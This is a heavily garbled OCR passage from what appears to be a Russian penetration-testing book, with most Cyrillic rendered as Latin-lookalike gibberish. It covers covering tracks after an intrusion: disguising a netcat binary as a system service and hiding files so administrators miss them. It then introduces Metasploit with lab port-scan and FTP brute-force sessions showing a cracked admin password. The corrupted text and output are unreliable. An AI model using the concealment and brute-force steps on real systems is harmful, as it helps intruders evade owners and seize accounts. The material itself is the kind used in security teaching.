Hanpuwmep, B ogkarasore /var/log/apache2/ o6praHo XpassiTest Jioru Beb-cepBepa
Apache. [laBaiite paccMOTpUM IIPUMEP, B KOTOPOM BbI OCYIIECTBJISIETE HAIPABJICH-
HYI0 Ha OAGOP TIApOJIst aTaKy OT 3aKPBITOH IUPEKTOPHN,

B mor-aiinax oHa MOJKET BBITIISIZIETh KAK MHOKECTBEHHBIE 3aTIPOCHI K KOHKPETHOMY
URL, gacro cBsizanHOMY ¢ cuctemoil ayrentudukanuu (/login.php, /admin, /wp-
login.php st caiitos Ha WordPress u T. 11.). JIto00ii 3aripoc GyeT COIPOBOKAATHCS
passanbiME napamerpamu POST, Kak/blii 13 KOTOPBIX MPEACTABIISIET COOOI pasHbie
KOM6I/IHaHI/H/I NMEHU T10JIb30BaTe I 1 IMTapOJId.

B Jtor-aiisiax 370 MOKET BbITJISIZIETH TPUMEPHO TaK:

192.168.1.1 — - [24/May/2023:13:25:13 +0000] "POST /login.php HTTP/1.1" 200 4523

192.168.1.1 — - [24/May/2023:13:25:14 +8000] "POST /login.php HTTP/1.1" 200 4523
192.168.1.1 — - [24/May/2023:13:25:14 +8000] "POST /login.php HTTP/1.1" 200 4523

B atom npumepe 192.168.1.1 — [P-aspec ncrounuka, /login.php — 3amnparnmBae-
mbrit URL, POST /login.php HTTP/1.1 — HTTP-3anpoc.

TeHepb Bbl 3Ha€Te, rjae HeO6XOHI/IMO HCKaTb CJIe/Ibl Balllero HIPUCYTCTBUSA B CUCTEME.

CokpbiTHe annos

B niporiibIx riaBax Hatlleid KHUTH Mbl yKe PACCMOTPEH CII0co0bl Tiepeadun (haiiios
Ha B3JIOMaHHBIN cepBep U 3HaeM, KakK 3aKPENUTHCS BO B3JIOMaHHOI crcTeme. Temepnb
HACTaJI0 BPeMsi 03a00TUTBCS BOIIPOCOM, KaK C/eIaTh TakK, YTOObI aiIMUHUCTPATOPDI
He 3aMeTuJin (haiijibl, KOTOPbIE MBI OCTABUJIM HA WX CEPBepax.

MackunpoBka

OnuH U3 caMbIX MPOCTHIX CIIOCOOOB CIPATATH (hallJi — 3aMaCKUPOBATH €T0 IO/
npyroit daiir. [Ipeamnososkum, BbI XOTUTE 3aMacKupoBath (aita netcat. [lepsoe, uto
IIPUXOAUT B I'OJIOBY, — 9TO AaTb €My UM/, ITOXO0Kee Ha UM OJITHOTO U3 3allyII€HHbIX
CEepPBUCOB.

¥Y3HaTh, KaK1e CepPBUCHI 3aITyTIEHbI B JAHHBIN MOMEHT, TIOMOKET KOMaH/a systemctl:
#systemctl --type=service --state=running

UNIT LOAD ACTIVE SUB DESCRIPTION >

colord.service loaded active running Manage, Install and Generate >
cron.service loaded active running Regular background program pr>
dbus.service loaded active running D-Bus System Message Bus
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getty@ttyl.service loaded active running Getty on ttyl

haveged.service loaded active running Entropy Daemon based on the H>
juice-shop.service loaded active running juice-shop web application
lightdm.service loaded active running Light Display Manager
ModemManager.service loaded active running Modem Manager
NetworkManager.service loaded active running Network Manager
open-vm-tools.service loaded active running Service for virtual machines >
polkit.service loaded active running Authorization Manager
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy>
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running User Login Management
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-udevd.service loaded active running Rule-based Manager for Device>
udisks2.service loaded active running Disk Manager

upower.service loaded active running Daemon for power management
user@1000.service loaded active running User Manager for UID 1000
user@l25.service loaded active running User Manager for UID 125

3Has1, KaKue CepBUCHI 3aITyIIEHbBI, MBI MOKEM MEPEMMEHOBATD HAI UCTIOJHSIEMbII
daii, ckaxeM, B udisks3 — ckopee Bcero, OH OCTaHETCSI He3aMeUEeHHbIM.

To sxe KacaeTcss U CEPBUCOB, KOTOPBIE 3aTPYKAIOTCS BMECTE C CEPBEPOM: TIOMHUTE,
B MIPEBIAYIIEH TIaBe Mbl 00BN NC B aBTO3arpy3Ky? [oJydnTh CIIUCOK CEPBU-
COB, 3aITyCKAIONTIXCS BMECTE C CUCTEMOM, MOKHO TP MTOMOIIIH TOW jK€ KOMAH/IbI:

#systemctl list-unit-files --type=service

UNIT FILE STATE PRESET
apache-htcacheclean.service disabled disabled
apache-htcacheclean@.service disabled disabled
apache2.service disabled disabled
apache2@.service disabled disabled
apparmor.service disabled disabled
apt-daily-upgrade.service static -
apt-daily.service static -

atftpd.service indirect disabled
auth-rpcgss-module.service static -
autovt@.service alias -
avahi-daemon.service disabled disabled
blueman-mechanism.service disabled disabled
bluetooth.service disabled disabled
colord.service static -
console-getty.service disabled disabled
console-setup.service enabled enabled
container-getty@.service static -
cron.service enabled enabled
cryptdisks-early.service masked disabled
cryptdisks.service masked disabled

Tenepb Bbl 3HAaeTe, KaK HAJ0 HA3BATH CEPBUC, 100aBJISIEMbIIl B aBTO3aTPY3KY.
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Mcnonb3oBaHue haiioBON CUCTEMBI

B Unix-mogo6HbBIX crucTeMax, BKIUas Linux, IpocTeluil ¢crmocod «CKPhITh»
(ailsn — a0 HauaTh ero uMs ¢ Touku (Hanpumep, .hidden_file). Takue daiinbr mo
YMOJTYaHUIO He 0TOGPAKAIOTCS TIPU UCTIOIh30BAHIH KOMAH/IbI 1s 1 B TpahuecKux
(baitnoBBIX MeHeKEPaX.

JIpyroii criocob «crpsTaTb (hails — MOMECTUTD €T0 B MAJIOM3BECTHYIO UJIH PEIKO HC-
MOJTb3YEeMYI0 INPEKTOpHIo. JlJIsT ToncKa TaKoii IMPEKTOPIH MBI MOKEM HCTIOJIB30BaTh
koManay find. /luisg ocyiecTBaeHus 3a/lyMaHHOTO HCIIOJIb3YeM IapaMeTp -atime,
KOTOPBII MO3BOJISIET UCKATh (Dailyibl U AMPEKTOPUHU, YUUTBIBASA BPeMs IOCJIEIHEr0
JIOCTYTIA.

Harmpumep, cienyionast KoMaHa HaliJIeT Bce AMPEKTOPUN B TEKYIIEH TUPEKTOPUT
1 TTO/IZITPEKTOPHSIX, K KOTOPBIM He TI0JIy4aJsn IocTyna B Tedenue rocyeaanx 30 1Hed:

find . -type d -atime +30

[TapameTpsl, uCIOJIb3yeMble B TOM IIpUMeEpE:
® . yKa3bIBaeT Ha TEKYIILYIO JUPEKTOPUIO;
® -type d OTpaHMYMBAET MOUCK TOJBKO AUPEKTOPUIMU;

® -atime +30 BBIOMpPAET TOJNBKO Te (hailyibl U AUPEKTOPUH, K KOTOPHIM HE moJryJdaan
nocryma 6osee 30 aHeid.

CkpbiTble dannbl B Windows

Bce, uro MbI onucasu uist Linux, 6e3 mpobJsieM MmepeHOCUTCsT Ha MAIlUHbL 110/ YIIPaB-
nerariem Windows, 3a MCKIioueHeM 0JIHOTO MoMeHTa. Ecom ftst Toro, 4To6sr crips-
tath daiin B Linux, Mbl UCIIOIb30BAJIM TOUKY Tiepe]l MeHeM (aiia, To B (hailiioBoit
cucreme NTFS ectp criernanpubiii arpubyT hidden, KoTopbiit MOKHO yCTaHOBUTD
Jepe3 KOMaH/HYIO CTPOKY.

3aznaercs arpubyT hidden daitny win gupekropun B KoMaHaHOI cTpoke Windows
C IIOMOIIbIO KOMaH/bI attrib. [[jis aTOro 3amycrute KOMaHAHYIO CTpOKy. Haxmure
kaapumy Win + R, 4ToOBI OTKPHITH AMAJI0TOBOE OKHO BbIMNOHUTL, BBEAUTE cmd 11 Ha-
sxmute Enter. cniosb3yiitTe KoMaHIy attrib cieayomum o6pasom:

attrib +h nyTb_k_danny_wnu_ampekTopun

Hamnpuimep, uto6bl CKpbITh (haii o HasBaHeM example.txt Ha auicke C, BbI MOXKeTe
HCI0JIb30BATD CJIE/LYIONLYI0 KOMaHLy:

attrib +h C:\example.txt

B atom ciyuae +h gobasasger arpuOyt hidden k ykasannomy daiiay mwim IupeKTopuu.
Yr06bI cenaTh (hail uin JUPEKTOPUIo CHOBA BUAUMBIMHU, KCIIOJIb3YiiTe -h BMECTO
HeTo.



Metasploit Fremework

Metasploit Framework — ato nporpammuast miatdopma st pa3zpaboTKK, TeCTH-
poBaHuUs U IPUMeHeHusT sKCIIonToB. Metasploit 6b11 cozman B 2003 rogy Kak uH-
CTPYMEHT JIJIsl TECTUPOBAHUS ceTeBOi GezonacHocTH, a B 2007 roy ObLI TOJHOCTHIO
Teperican Ha S3bIKe MporpaMmMupoBaiist Ruby. B macrosiiiee Bpemst ak TUBHO TO/T-
MepRUBAETCS U Pa3BUBaeTCs Kommanueil Rapid7, koTopas mpejiaraet Be Bepcuu
MPOJYKTa — MJIATHYIO U GECTUIATHYIO0, PACCMOTPEHUEM KOTOPOIT MBI 3aiiMEMCST 1aiee.

[Touemy 11es1as rraBa MOCBANIAETCS OMMCAHUIO OJHOTO MTPOTPAMMHOTO TTPOIYKTA?
Bo-1mepBbiX, 3TO OUeHb TUHAMUYHO PA3BUBAIONTUICS TIPOEKT, KOTOPBIN MMOCTOSTHHO
HOJEPKIUBAECTCS U PETYJISIPHO OOHOBJISIETCS, UTO SABJSETCS KU3HEHHON HE06X0-
JUMOCTBIO B CTOJIb OBICTPO MEHSIONIEMCST MUPE WH(HOPMAIIMOHHON 6e30TTacHOCTH.
Bo-BTOpBIX, OH COAEPKUT HEOOXOAUMbBIE HHCTPYMEHTHI JIJIst Pa3pabOTKU U CO3IAHUS
9KCIJIOWTOB U, YTO CaMOE BA)KHOE, CTAHIAPTU3UPYET U ATOT MTPOIECC, ¥ CaMO UX ITPH-
MEHEHHe.

Crout ckasaTh, uTo Metasploit yske gaBHO BbIIIE 32 paMKK PaspabOTKU U IPUMe-
HEHUS 9KCIUIONTOB. B JIaHHBIIT MOMEHT €ro MOKHO HUCITOJTb30BAaTh HA BCEX CTAMSIX
ayauTa 6e30IacHOCTH. B HeM eCTh MHCTPYMEHTHI JIs aKTUBHOTO U IIACCUBHOTO cOopa
nHpopMalu, COOCTBEHHbII CKaHep YA3BMMOCTElN, MHCTPYMEHTBI JIJIs IOC/IeLYIONIEro
IIPOBE/IEHUST aTaK! U 3aKPETJIeHNs B CUCTEMe.

B unTepHeTe MOXKHO HaiiTH GeCTIaTHBIE KYPCh M KHUTH, TIOCBATIeHHbIe Metasploit,
MO3TOMY JIAHHOE M3/IaHKe He CTaBUT Tepesl coO0il 3aauu 00yIUTh YNTATENST BCEM
TOHKOCTSIM HCIOJIb30BAHIS ITOTO 3aMEYATETHhHOr0 MPOAYKTa. Mbl OCTAHOBUMCS
JIVIITh HA CAMBIX OCHOBHBIX MOMEHTAX, 4TOOBI TIPOOYINUTH B UUTATENIE HHTEPEC K Jallb-
HeHIeMy CaMOCTOSTEIbHOMY U3YYEHUTO TIaT(hOPMBIL.

OCHOBHbIE KOMIMOHEHTHI

Metasploit Framework cocTonT u3 HeCKOJbKIX KOMIIOHEHTOB:

e Momuyu — cepaite Metasploit. CyiiecTByeT HeCKOIbKO THITOB MOJLYJIEH, BKITFOUAsT
MOJLYJIH JIJIST 9KCILTyaTaIlluN ySI3BUMOCTEM, BCIIOMOTaTeIbHbIE MOJLYJTH, MOJLYJIH
JI7IST TTIOCTAKCIITYaTalny, MOy v 1toste3Hoi Harpy3ku u NOP-moym.
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e MSFconsole — ocrosHol unTepdeiic gua paborsr ¢ Metasploit. On npegocras-
JISIET IPUJIOKEHHE /11 KOMAHHON CTPOKH, KOTOPast IIO3BOJISIET II0/Ib30BATE/SAM
B3aMMOJICIICTBOBATD C MO/YJISIMU Y BBIIOJHATH Pa3JInuHbIe KOMAH/IbL.

e Msfvenom — MHCTPYMEHT JIJist TEHEPAIINU U KOAUPOBAHUS TIOJIE3HOM HArPY3KU.

e Dbaza JaHHBIX — CPEACTBO XpaHEHUA I/IH(I)OpMaLII/II/I O TECTUPYEMBbIX 00BeKTax CeTH,
YA3SBUMOCTAX N pe3yJbTaTaX BbIITIOJIHEHHBIX lIefICTBI/II';I.

e Metasploit RPC (yzmaieHHbBIII BBI3OB TIPOIEAYP) — KOMIIOHEHT, TO3BOJISIIOTIHIL
aBTOMATU3UPOBATh 3a/auu U B3auMoeiictBoBaTh ¢ Metasploit yepes BHemHMEe
MPUJIOKEHUS U MHCTPYMEHTBI.

e Armitage u Cobalt Strike — rpaduueckue ob6omouxu aus Metasploit, obecrieun-
Balonue y100H0e B3auMOIeHCTBIE ¢ HHCTPYMEHTOM.

NHTepdelic

[Tosxanyii, Hauath cTouT ¢ uHTep(deiica, Tem Gosee uro Metasploit npeanaraer
HECKOJIbKO BAPUAHTOB B3aUMOJIENCTBUS, KaK B rpauecKoM, TaK U B TEKCTOBOM
pekmIMe.

B Metasploit ectb aBa pasnuuHbIX BapuaHTa KoMaHaHoro unrepdeiica. Iep-
BbIii — 9T0 msfcli, HO MbI He OyzeM TPaTUTh BPEMs Ha €ro PacCMOTPEHME, TaK KaK
¢ cepeaunbl 2015 roga ox 6oJIblIe He IOAAePKUBaeTCs. BTopoii BapuanT — UCII0b-
soBanune msfconsole. Msfconsole, HaBepHoe, camblii oMy pHbII Bu nHTEpdEiica
Metasploit Framework. On 1o3Bosiger ObICTPO 1 YI0OHO 110/1b30BaThCs aGCOIIOTHO
BceMu (YHKIUIME 1 Bo3MoskHOCTsIMU Metasploit. Kpome Toro, B msfconsole ectsb
BO3MOKHOCTH IIPUMEHSITh HE TOJBKO COOCTBEHHbBIE MHCTPYMEHTBI, HO U CTOPOHHIE
YTUIUTHIL.

Il pabotel ¢ msfconsole cyliecTByer crienuabHbIii HAOOP KOMAH/L; IIPOCMOTPETh
UX, a TAK)Ke TMOJYIUTh KPATKYIO CIPABKY 0 KasKIOH MOJKHO € MTOMOIIBIO KOMaH-
16l help. He crpaliiHo, ecyii BBl He 3alIOMHHUTE HAa3BaHUS BCEX KOMAHJ U MOJYJICH,
HYKHO 3AITOMHUTH XOTSI OBI TIepBble CUMBOJIBI HA3BAHUN — TOCJIE UX BBEJIEHUS Ha-
JKMUTE KJIaBuiny tab, 1 KOHCOJIb caMa JIOTHUIIET OKOHYaHHE.

[TpopemoncTpupyem 3anyck ¢ppeiiMBOPKa U BBIBOJ CIPABKU MO BCTPOEHHBIM
KOMaH/IaM:

root@kali:~# msfconsole

=[ metasploit v6.3.4-dev

1
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion 1

Metasploit tip: Tired of setting RHOSTS for modules? Try
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globally setting it with setg RHOSTS Xx.x.X.x
Metasploit Documentation: https://docs.metasploit.com/

msf6 > help

Core Commands

banner
cd

color
connect
debug
exit
features

unsetg
version

Module Commands

advanced
back
clearm
favorite
favorites

search
show
use

Description

Help menu

Display an awesome metasploit banner

Change the current working directory

Toggle color

Communicate with a host

Display information useful for debugging

Exit the console

Display the list of not yet released features that can be op
ted in to

Unsets one or more global variables
Show the framework and console library version numbers

Description

Displays advanced options for one or more modules

Move back from the current context

Clear the module stack

Add module(s) to the list of favorite modules

Print the list of favorite modules (alias for “show favorite

s7)

Searches module names and descriptions
Displays modules of a given type, or all modules
Interact with a module by name or search term/index

B nanbreiiniem Mbl OyeM UCIOJIb30BaTh UMEHHO 9TOT BapuaHT uHrepdeiica. Ente
omuH BapuanT uHTepdeiica Metasploit — Armitage (puc. 14.1). Kak y:xe ymomu-
Hasioch paHee, B Metasploit ectb cobcTBeHHBIN rpadudeckuii mHTepdeiic, HO OH
JIOCTYTIEH TOJBKO B KOMMEPYECKOH BepcHy IPOyKTa. Armitage — aTo rpadudeckuii
uHTepdeiic, HAMMCAHHBIN CTOPOHHUMHU Pa3paboTINKaMK Ha SI3bIKE Java U [0 yMOJI-
YaHUIO yKe BKIoueHHbIN B coctas Kali Linux.
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Armitage [ O <

Armitage View Hosts Attacks Workspaces Help

(& auxliary
= B exploit
* [ payload

* (5 post

I ——

102.168.235.2

-

Console Kinmap X

1*] Mnap: ALL 1090 scanned ports on 192,168.225,128 are closed

[*] mmap: Too many fingerprints match this host to give specific 05 details
[*]1 Mmap: Network Distance: © hops

[*] Mmap: NSE1 Script Post-scanning.

[*] mMmap: Lnitiating NsE at 02102

[*] Mmap: Completed NSE at ©2:02, 0,805 elapsed

[*] Mmap: Lnitiating NSt at ©2:102

[*] mMmap: Completed NSE at ©2:02, ©.00s elapsed

[*1 mMmap: i

[*] Mmap: 05 and Service detection performed. Please report any incorrect results at
https://nmap.org/submitys .

[*]1 Mmap: Mmap done: 256 IP a es (1 hosts up) scanned in 29,18 seconds

[*] Mmap: Raw packets sent: /&3. 36, 818K8) | Hovdi 3062 (128.856KB)

Puc. 14.1. becnnaTHblli rpaduyeckuin nHtepdeiic Armitage

BcrnomoraTesnibHble Moaynu

Wrak, Mbl BbIsscHUI, 4TO Metasploit — 9To OJIHOIIEHHAS CUCTEMA JIJIs TECTUPOBA-
HUSI Ha TPOHUKHOBeHMe. Korja Mbl HazbiBaeM MPOJAYKT CHCTEMO, 9TO 03HAYAET, UTO
OH COCTOUT M3 MHOKECTBA 0JIE3HBIX NHCTPYMEHTOB U YTUJINUT. BeriomoraresibHble
moxyau (Auxiliary) B Metasploit Framework — 510 He6oJIbIIne KOMIIOHEHTBI, IIPEeJ-
Ha3HAYeHHbIE [T BBITTIOJTHEHUS Ollpe/ie;IeHHON 3aiaun. Harmpumep, ¢ X moMoIbio
MBI MOKEM ITPOCKAHNPOBATD MO/ICETh HA HATTMUNE aKTUBHBIX XOCTOB U Y3HATD, KaKHe
MOPTHI Ha HUX OTKPBITHI, OCYIIECTBUTH 000D Taposieil wiu Haiit FTP-cepBepsr,
Ha KOTOPBIX paspelleH aHOHUMHBIN TOCTYTI.

Metasploit coepsKuT COTHI TaKMX MOJYJIEH, TIPOCMOTPETD CIIMCOK JOCTYIIHBIX MOJLY-
JIEN MOJKHO C MCITOJIb30BaHNEM KOMaHbI show auxiliary:

msf6 > show auxiliary

Auxiliary

#  Name Disclosure
Date Rank Check Description
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@ auxiliary/admin/2wire/xslt_password_reset 2007-08-15
normal No 2Wire Cross-Site Request Forgery Password Reset Vulnerability
1 auxiliary/admin/android/google_play_store_uxss_xframe_rce
normal No Android Browser RCE Through Google Play Store XFO
2 auxiliary/admin/appletv/appletv_display_image
normal No Apple TV Image Remote Control
3 auxiliary/admin/appletv/appletv_display_video
normal No Apple TV Video Remote Control
4  auxiliary/admin/atg/atg_client
normal No Veeder-Root Automatic Tank Gauge (ATG) Administrative Client

IATHU MOZLYJTU MOKHO TPYIIIMPOBATH MO PA3JUYHBIM KaTETOPUSM, B 3aBUCUMOCTHU
OT BBITTOTHSIEMBIX UMY (hyHKIMI. [IpuBeneM HEKOTOPbIe U3 OCHOBHBIX KAaTETOPUIA
BCITOMOTATETbHBIX MOJLYJIEH:

® CKaHuUpOBaHHUE: MOAYJIU, UCIIOJb3yeMble [AJ CKAaHUPOBAaHUA CETU HaA IIPeAMET
HaJn4dusAa aKTUBHBIX XOCTOB, OTKPBITBIX ITIOPTOB 1 CEPBUCOB;

® (Has3s3mHT: MOJYJIH, NCTIOIB3YeMBIE JI/IST TECTHPOBAHNS YS3BUMOCTEH TIPUIOKEHTTH
1 CEpPBUCOB IIyTEM OTIIPABKU CIYYAWHBIX MU CIELUAJbHO I10JAIOTOBIEHHbBIX
JAHHDIX;

e cuudUHT: MOLYJIH, UCIIOJIb3yeMble [/ TIepexXBaTa U aHaJn3a CeTeBOro Tpa-
(uka;

® [IOCTYII: MOJYJIH, TIO3BOJISTIONIHE TIPOBEPSITh PA3JINUHBIE BU/IBI IOCTYTIA, HATIPIMED
aHoHuMHoTO foctyna Kk FTP-cepsepaw;

e cuydunr u DOS-aTaku: MOJyJiu, UCIIOJIb3Y€EMbIE 711 UMUTAIINU J[PYTUX CUCTEM
(cryUHI) WM NPOBELEeHUs aTaK, HallpaBJIEeHHBIX Ha OTKa3 B 00CIyKUBAHUU
(DOS-atakmn);

® Q/IMUHUCTPUPOBaHUE: MOAYJIM, [IOMOTAlOIHe B TaKNX aIMUHUCTPATUBHBIX 3a-
ladaX, KaK C60p I/IH(pOpMaLlI/II/I O CUCTeMe, ylupaBjeHune rmporeccaMu 1 T. 1.;

® aHaJIn3 y;ISBI/IMOCTefIZ MOYJIN, UCIIOJIb3YEMDbIE JIJIS OTIPEAC/ICHNA U aHaIn3a yAa3-
BUMOCTEN B I[eJIEBBIX CUCTEMAX.

W cnosp3oBaTh JII0O0M U3 MOJYJIel MOKHO IIPU MOMOIIIN KOMaH/IbI use, a IIOCMOTPETh
JIOCTYTTHBIE OTIIIUHU ¢ TIOMOIIbI0 KOMaH bl info. [IpomeMoHCcTprUpyeM BO3MOKHOCTA
HEKOTOPBIX MOTYJIel, HauaB cO CKaHepa TOPTOB.

msf6 auxiliary(syn) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > info

Name: TCP Port Scanner
Module: auxiliary/scanner/portscan/tcp
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>
kris katterjohn <katterjohn@gmail.com>
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Basic options:

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurrent ports
to check per host

DELAY (2] yes The delay between connections, per
thread, in milliseconds

JITTER 0 yes The delay jitter factor (maximum

value by which to +/- DELAY)
in milliseconds.

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR
identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in
milliseconds
Description:

Enumerate open TCP services by performing a full TCP connect on each
port. This does not need administrative privileges on the source
machine, which may be useful if pivoting.

msf auxiliary(tcp) > set RHOSTS 192.168.225.0/24
RHOSTS => 192.168.225.0/24

msf auxiliary(tcp) > set THREADS 10

THREADS => 10

msf auxiliary(tcp) > run

[*] 192.168.225.2: - 192.168.225.2:53 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:21 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:135 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:2701 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:8081 - TCP OPEN

Ecom BbI BHMMaTETbHO 03HAKOMUIIHMCH C TIPUBEIEHHBIM BbITIIE TIPUMEPOM, TO 3aMETH-
JIN, 4TO MBI CKOH(UTYPUPOBAIIM MO/LYJIb IIEPE]T 3aITyCKOM. /[JIsT 9TOTO MCIIOIh30BaIaCh
KOMaH/1a set, 3a Heli cJie/lyeT UM [TapaMeTpa, a 3aTeM ero 3Hauenue. B kaxmaom mosy-
Jie Bbl BCTPETUTE JIBa TUIIA IIAPAMETPOB, OJIHU 00513aTe/IbHbI K 3a110JIHEHUIO, IPyTUe —
HeT. B HatlleM cirydae Mbl 3a/1aJii 3HAUCHUsI He JIJIsT BCeX 00sI3aTeIbHBIX TapaMeTPOB,
U MOJLYJIb HCITOJIb30BAJI T€, KOTOPbIE OBLIN ONPE/E/ICHbI Pa3padOTIYMKAMHU.

Kak yske yIoMUHaI0Ch, € TIOMOIIBIO BCIIOMOTaTe/IbHbIX MOLYJIEil MOKHO IepedrpaTh
HapoJik K Pa3JUYHbIM cepBucaM. [IpoeMOHCTPUpPYeM 000 TApOoJist U UMEHU
MOJIb30BaTelIst K paHee oOHapyskerHoMy FTP-cepBepy:

msf6 auxiliary(tcp) > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(ftp_login) > info

Name: FTP Authentication Scanner
Module: auxiliary/scanner/ftp/ftp_login
License: Metasploit Framework License (BSD)
Rank: Normal



Provided by:

todb <todb@metasploit.com>

Basic options:
Name

BLANK_PASSWORDS
BRUTEFORCE_SPEED

DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
PASSWORD
PASS_FILE
Proxies
RECORD_GUEST
the database
RHOSTS

identifier
RPORT

STOP_ON_SUCCESS

works for a host
THREADS
USERNAME

USERPASS_FILE

USER_AS_PASS
USER_FILE

VERBOSE

Description:

Current Setting

false
false

false

false

21
false

false

true

Required

no
yes

no
no
no
no
no

no

no
yes

yes
yes

yes
no

no

no
no

yes
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Description

Try blank passwords for all users
How fast to bruteforce, from ©
to 5

Try each user/password couple
stored in the current database
Add all passwords in the current
database to the list

Add all users in the current
database to the list

A specific password to
authenticate with

File containing passwords, one
per line

A proxy chain of format
type:host:port[,type:host:port]
loool

Record anonymous/guest logins to
The target address range or CIDR

The target port
Stop guessing when a credential

The number of concurrent threads
A specific username to
authenticate as

File containing users and
passwords separated by space,
one pair per line

Try the username as the password
for all users

File containing usernames,

one per line

Whether to print output for all
attempts

This module will test FTP logins on a range of machines and report
successful logins. If you have loaded a database plugin and

connected to a database this module will record successful logins
and hosts so you can track your access.

References:

http://cvedetails.com/cve/1999-0502/

msf auxiliary(ftp_login) > set PASS_FILE /root/passwords.txt
PASS_FILE => /root/passwords.txt
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msf auxiliary(ftp_login) > set USERS_PASS /root/users.txt
USERS_PASS => /root/users.txt

msf auxiliary(ftp_login) > set RHOSTS 192.168.225.1
RHOSTS => 192.168.225.1

msf auxiliary(ftp_login) > run

[*] Connecting to FTP server 192.168.225.1:21...

[*] Connected to target FTP server.

192.168.225.

[*] 1:21 FTP - [046/300]- Attempting FTP login for ‘'backup':'abc123'
[*] 192.168.225.1:21 FTP - [047/300] - Failed FTP login for 'backup':'abc123'
[*] 192.168.225.1:21 FTP- [048/300] - Attempting FTP login for 'upload':'root’
[*] 192.168.225.1:21 FTP- [049/300] - Failed FTP login for ‘'upload':'root’

[*] 192.168.225.1:21 FTP - [122/300] - Attempting login for ‘'admin':'1234567'
[+] 192.168.225.1:21 - Successful FTP login for 'admin':'1234567'
[*]192.168.225.1:21 - User ' admin ' has READ/WRITE access

[None3Hasa Harpy3ka

Baxnocts mosiesnoii Harpysku (payloads) nponmmocTprpyeM GBITOBBIM TIPHMEPOM.
[IpeanonosxkM, 4To Bbl 3a60JI€/IU ¥ Bpay HA3HAYMJ BaM KyPC JIEUCHUS U3 JECATU
BHYTPUBEHHBIX YKOJIOB. MeIUIMHCKAst cecTpa 6eper Uiy, IIPHUIL, HAXOAUT HYKHOE
MECTO JI7Is1 THBEKI[UH, TPOHUKAET IIPY TTOMOTIIN UMEIOIerocss NHCTPYMEHTapHs B 110-
JIOCTH BEHBI ... /JaJiee HUUETo He TIPONCXONT, Be/lb Mepe/l MPOBe/leHNeM NHBEKITUN
oHa He Habpasia MoJIe3HbIH Tpermapar B MITPHIL.

Bepuemcs B mpeameTHOe 10J1e HH(MOPMALMOHHBIX TexHooruil. Payload B konrtekcre
uHMHOPMAIIMOHHOH 6e30MACHOCTH OTHOCUTCST K 9ACTH KO/, KOTOPAsT BBITTOTHSIETCST
TOCJIe YCTIEITHOM 9KCIUTYaTaIlNy YSI3BUMOCTH B TieieBoil cucteme. Payload mosker
BBITIOJTHUTH MHOKECTBO PA3TMIHBIX (DYHKITHIH, HATPUMED OTKPLITH 0OPATHOE COEMTH-
HeHVe Win cobpaTh U OTIPABUTH KOHGUAEHITHATBHYIO HHGOpMaIwn (Maposu, TaH-
HbIe KPeAUTHBIX KapT U T. 11.). C Toukn 3pernst Metasploit payload ssasiercs komom,
KOTOPBIH 3arpyskaercs 1ocje YCIelHOTO UCII0Ab30BaHNU MO IS 9KCILIyaTalllH.

[Momesmyto Harpy3ky B Metasploit MOXKHO pa3menTh Ha TP OCHOBHbIE KATETOPUTL:

e Singles. CamocTosiTesbHble (hyHKIIMOHATBHBIE YACTH KO/IA, KOTOPBIE BBIMOJIHSIOT
CBOIO 33/1a4y [I0JHOCTbIO HE3ABUCKMO ¥ He TPeOYIOT 3arpy3KH A0MOJIHUTENIHHOTO
Ko/1a. VIX OCHOBHO#1 HEIOCTATOK — OHU OOBITHO MMEIOT OOJIBIIINI PasMep U MOTYT
BBITIOJTHATDH JOCTATOYHO MTPOCTHBIE d)yHK]_H/II/I, TaKMe KaK OTKPbITHE 06paTHOFO
IIeJITa UJTH BBITTOJTHEHHUE OTIPEIETeHHON KOMaH/IbI.

e Stagers. Caysxar /1 yCTAaHOBJIEHUS HAIEKHOTO KaHaJMa MEKIY aTaKyIOIUM
U [[EJIEBBIM KOMITBIOTEPOM JIJIsT 3aTPy3Ku G0Jiee KPYITHBIX 1 CJIOKHBIX (DYHKIHO-
HAJIBHBIX YacTell KO/, M3BECTHBIX Kak stages. Stagers 0GbIYHO MaJIbI 110 pa3Mepy,
U UX OCHOBHAs 3a/1a4a — 00eCIeYnTh JOCTaBKY stage.

e Stages. 3arpy:kaioTcs 1ocJie Toro, Kak stager ycenHo yCTaHOBUJI COeJJMHEHME.
ITH YacTu Kojia OOBIYHO 00JAAI0T 3HAUUTEIBHO GOJIbIIEH (HYHKIIMOHATIBHO-
cThio, ueM singles nim stagers. OHE MOTYT CO/lEPKATh Pa3indHbie (DYHKIIUN,
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BO3MOXKHOCTH MIM(POBAHI, CKPBITOTO TYHHEJNPOBAHUS U Jaxe rpadudeckiie
nHTepdench.

IMostesHol HArPy3KOit OyAET SIBISATHCS MEJT-KOJT, TI03TOMY TIPEXK/IE BCETO HEOOXOIH-
MO BBIOpATh HYSKHBIH JIJIsT TeHEPATIU,

Jlist mocsietytoneii reHepary UCmosb3yercst KoMana generate. MHoraa npuxo-
AUTCs U36aBIATHCS OT HEKENATEIbHBIX CHMBOJIOB, HATpUMEp HyJieBoro Oaiita (null
byte). Ytobbl 3TO0 CrenaTh, HEOOXOAUMO 3aIyCTUTh TEHEPAIIUIO C TAPAMETPOM b, O~
¢Jie KOTOPOTO B KABBIYKAX YKA3aTh KOJBI CUMBOJIOB, KOTOPBIX He OJIKHO OBITH B KO-
HeuHoM Kojie. Ho citefryer yaecTs, 9To X He BCeria MOKHO UCKITIOUUTD, B HEKOTOPHIX
caydasx ppedMBOPK HUUYETO He CTEHEPUPYET U BBIACT coobienue 06 omubKe.

msf6 use payload/linux/mipsbe/reboot

